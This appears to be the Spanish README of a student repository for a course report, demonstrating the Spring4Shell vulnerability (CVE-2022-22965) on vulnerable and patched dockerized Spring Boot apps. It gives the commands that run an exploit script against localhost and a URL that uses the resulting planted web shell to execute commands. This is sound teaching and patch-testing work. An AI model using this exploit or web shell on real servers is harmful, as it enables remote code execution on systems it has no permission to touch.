
CVE-2022-22965 prueba de concepto para el informe CS4239
Prueba de concepto para CVE-2022-22965 (Spring4Shell) para el informe CS4239 G410. Adaptado de este PoC para demostrar el comportamiento sin parche y con parche.
Hay 2 programas de ejemplo (dockerizados) en este repositorio con código fuente idéntico. Uno usa una versión vulnerable de Spring Boot mientras que el otro usa una versión parcheada. Tomcat también lanzó un parche para esta vulnerabilidad, pero la misma versión vulnerable de Tomcat se usa para esta demo para aislar los efectos del parche de Spring.
Para ejecutar las aplicaciones demo:
docker compose build
docker compose up
Para ejecutar el exploit:
# vulnerable
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# patched
python exploit.py --url "http://localhost:8081/helloworld/greeting"
Si el exploit funciona, aparecerá una nueva página que permite ejecutar comandos. Ejemplo de ejecución de id:
http://localhost:8080/shell.jsp?cmd=id
El exploit no funciona para la versión parcheada - shell.jsp no se inyecta.